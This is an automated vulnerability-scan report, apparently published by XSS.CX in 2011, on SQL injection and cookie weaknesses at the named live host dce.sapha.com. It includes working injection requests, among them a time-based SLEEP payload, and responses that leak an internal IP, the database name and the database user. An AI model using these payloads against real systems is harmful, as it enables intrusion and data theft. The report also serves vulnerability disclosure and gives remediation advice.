SQL Injection, DORK, dce.sapha.com, CWE-89, CAPEC-66

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Report generated by XSS.CX at Thu Mar 17 08:41:14 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home XSS.CX Research Blog
Loading

1. SQL injection

1.1. http://dce.sapha.com/engine.php [ac parameter]

1.2. http://dce.sapha.com/engine.php [name of an arbitrarily supplied request parameter]

1.3. http://dce.sapha.com/logging.php [ac parameter]

2. Cookie scoped to parent domain

2.1. http://dce.sapha.com/logging.php

2.2. http://dce.sapha.com/logging.php

3. Cookie without HttpOnly flag set

3.1. http://dce.sapha.com/logging.php

3.2. http://dce.sapha.com/logging.php

4. Private IP addresses disclosed

5. Content type incorrectly stated



1. SQL injection  next
There are 3 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://dce.sapha.com/engine.php [ac parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://dce.sapha.com
Path:   /engine.php

Issue detail

The ac parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the ac parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /engine.php?ac=2546' HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://www.thinksubscription.com/news_releases.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:56:39 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 391

</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = '2546''<br>
<b>MySQL
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2546''' at line 1)<br>
...[SNIP]...

Request 2

GET /engine.php?ac=2546'' HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://www.thinksubscription.com/news_releases.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:56:39 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Cache-Control: private
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: sapha_tst_2546''=TRUE; expires=Sat, 13-Mar-2021 18:56:39 GMT; path=/; domain=.sapha.com
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: application/x-javascript
Content-Length: 5597

var SCS_tid=(SCS_tid)?escape(SCS_tid):"",NS_do=new Array('thinksubscription.com'),NS_fe=new Array('exe','pdf','zip','wav','mp3','mov','mpg','avi','wmv','doc','xls','wpd','ppt','swf','mpeg','gif','jpg'
...[SNIP]...

1.2. http://dce.sapha.com/engine.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://dce.sapha.com
Path:   /engine.php

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /engine.php?ac=/1'2546 HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://www.thinksubscription.com/news_releases.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:56:40 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 391

</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = '/1'2546'<br>
<b>MySQ
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2546'' at line 1)<br>
...[SNIP]...

Request 2

GET /engine.php?ac=/1''2546 HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://www.thinksubscription.com/news_releases.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:56:40 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 0


1.3. http://dce.sapha.com/logging.php [ac parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://dce.sapha.com
Path:   /logging.php

Issue detail

The ac parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the ac parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /logging.php?ac=2546'&NS_sw=1920&NS_sh=1200&NS_sc=16&NS_c=yes&NS_pn=&NS_vpn=&NS_uuid=&NS_pt=THINK%20Subscription%20--%20News%20Releases&NS_ru=&NS_rn=15102&NS_js=1.6&NS_vp=http%3A//www.thinksubscription.com/news_releases.aspx&NS_tz=300&NS_la=&NS_tid=&NS_tamt=&NS_cid= HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://www.thinksubscription.com/news_releases.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE

Response 1

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:57:00 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 391

</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = '2546''<br>
<b>MySQL
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2546''' at line 1)<br>
...[SNIP]...

Request 2

GET /logging.php?ac=2546''&NS_sw=1920&NS_sh=1200&NS_sc=16&NS_c=yes&NS_pn=&NS_vpn=&NS_uuid=&NS_pt=THINK%20Subscription%20--%20News%20Releases&NS_ru=&NS_rn=15102&NS_js=1.6&NS_vp=http%3A//www.thinksubscription.com/news_releases.aspx&NS_tz=300&NS_la=&NS_tid=&NS_tamt=&NS_cid= HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://www.thinksubscription.com/news_releases.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE

Response 2

HTTP/1.1 302 Found
Date: Wed, 16 Mar 2011 18:57:00 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Cache-Control: private
P3P: CP='NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM'
Location: http://dce.sapha.com/0.gif
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 0


2. Cookie scoped to parent domain  previous  next
There are 2 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


2.1. http://dce.sapha.com/logging.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://dce.sapha.com
Path:   /logging.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /logging.php?ac=1&NS_sw=1920&NS_sh=1200&NS_sc=16&NS_c=yes&NS_pn=&NS_vpn=&NS_uuid=&NS_pt=Lead%20Generation%2C%20Lead%20Capture%20%26%20Website%20Conversion%20Systems%20from%20Sapha&NS_ru=&NS_rn=68950&NS_js=1.6&NS_vp=http%3A//www.sapha.com/&NS_tz=300&NS_la=&NS_tid=&NS_tamt=&NS_cid= HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://www.sapha.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_2546_1=57337%7C33124%7C29375%7C2011-03-16+12%3A55%3A19; sapha_tst_1=TRUE

Response

HTTP/1.1 302 Found
Date: Wed, 16 Mar 2011 18:58:01 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
P3P: CP='NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM'
Cache-Control: private
Set-Cookie: sapha_1_19=106744%7C2674155%7C2668189%7C2011-03-16+12%3A58%3A01; expires=Sat, 13-Mar-2021 18:58:01 GMT; path=/; domain=.sapha.com
Location: http://dce.sapha.com/0.gif
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 0


2.2. http://dce.sapha.com/logging.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://dce.sapha.com
Path:   /logging.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /logging.php?ac=2546&NS_sw=1920&NS_sh=1200&NS_sc=16&NS_c=yes&NS_pn=&NS_vpn=&NS_uuid=&NS_pt=THINK%20Subscription%20--%20THINK%20Express%20Overview&NS_ru=http%3A//www.thinksubscription.com/prod_think_hosted.aspx&NS_rn=84446&NS_js=1.6&NS_vp=http%3A//www.thinksubscription.com/prod_think_express.aspx&NS_tz=300&NS_la=&NS_tid=&NS_tamt=&NS_cid= HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://www.thinksubscription.com/prod_think_express.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_2546_1=57335%7C33124%7C29375%7C2011-03-16+12%3A55%3A11

Response

HTTP/1.1 302 Found
Date: Wed, 16 Mar 2011 18:55:19 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
P3P: CP='NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM'
Cache-Control: private
Set-Cookie: sapha_2546_1=57337%7C33124%7C29375%7C2011-03-16+12%3A55%3A19; expires=Sat, 13-Mar-2021 18:55:19 GMT; path=/; domain=.sapha.com
Location: http://dce.sapha.com/0.gif
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 0


3. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



3.1. http://dce.sapha.com/logging.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://dce.sapha.com
Path:   /logging.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /logging.php?ac=1&NS_sw=1920&NS_sh=1200&NS_sc=16&NS_c=yes&NS_pn=&NS_vpn=&NS_uuid=&NS_pt=Lead%20Generation%2C%20Lead%20Capture%20%26%20Website%20Conversion%20Systems%20from%20Sapha&NS_ru=&NS_rn=68950&NS_js=1.6&NS_vp=http%3A//www.sapha.com/&NS_tz=300&NS_la=&NS_tid=&NS_tamt=&NS_cid= HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://www.sapha.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_2546_1=57337%7C33124%7C29375%7C2011-03-16+12%3A55%3A19; sapha_tst_1=TRUE

Response

HTTP/1.1 302 Found
Date: Wed, 16 Mar 2011 18:58:01 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
P3P: CP='NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM'
Cache-Control: private
Set-Cookie: sapha_1_19=106744%7C2674155%7C2668189%7C2011-03-16+12%3A58%3A01; expires=Sat, 13-Mar-2021 18:58:01 GMT; path=/; domain=.sapha.com
Location: http://dce.sapha.com/0.gif
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 0


3.2. http://dce.sapha.com/logging.php  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://dce.sapha.com
Path:   /logging.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /logging.php?ac=2546&NS_sw=1920&NS_sh=1200&NS_sc=16&NS_c=yes&NS_pn=&NS_vpn=&NS_uuid=&NS_pt=THINK%20Subscription%20--%20THINK%20Express%20Overview&NS_ru=http%3A//www.thinksubscription.com/prod_think_hosted.aspx&NS_rn=84446&NS_js=1.6&NS_vp=http%3A//www.thinksubscription.com/prod_think_express.aspx&NS_tz=300&NS_la=&NS_tid=&NS_tamt=&NS_cid= HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://www.thinksubscription.com/prod_think_express.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_2546_1=57335%7C33124%7C29375%7C2011-03-16+12%3A55%3A11

Response

HTTP/1.1 302 Found
Date: Wed, 16 Mar 2011 18:55:19 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
P3P: CP='NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM'
Cache-Control: private
Set-Cookie: sapha_2546_1=57337%7C33124%7C29375%7C2011-03-16+12%3A55%3A19; expires=Sat, 13-Mar-2021 18:55:19 GMT; path=/; domain=.sapha.com
Location: http://dce.sapha.com/0.gif
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 0


4. Private IP addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://dce.sapha.com
Path:   /engine.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Issue background

RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.

Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.

Issue remediation

There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.

Request

GET /engine.php?ac=-111'%20OR%20SLEEP(25)=0%20LIMIT%201-- HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://tours.sapha.com/?scs_sid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+&scs_tid=1488&scscs=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_tst_1=TRUE; sapha_1_19=106950%7C2674292%7C2668188%7C2011-03-16+13%3A26%3A37; sapha_2546_1=57895%7C33124%7C29375%7C2011-03-16+13%3A29%3A15

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 19:30:26 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 412

</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = '-111' OR SLEEP(25)=0
...[SNIP]...

5. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://dce.sapha.com
Path:   /engine.php

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /engine.php?ac=-111'%20OR%20SLEEP(25)=0%20LIMIT%201-- HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://tours.sapha.com/?scs_sid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+&scs_tid=1488&scscs=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_tst_1=TRUE; sapha_1_19=106950%7C2674292%7C2668188%7C2011-03-16+13%3A26%3A37; sapha_2546_1=57895%7C33124%7C29375%7C2011-03-16+13%3A29%3A15

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 19:30:26 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 412

</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = '-111' OR SLEEP(25)=0
...[SNIP]...

Report generated by XSS.CX at Thu Mar 17 08:41:14 CDT 2011.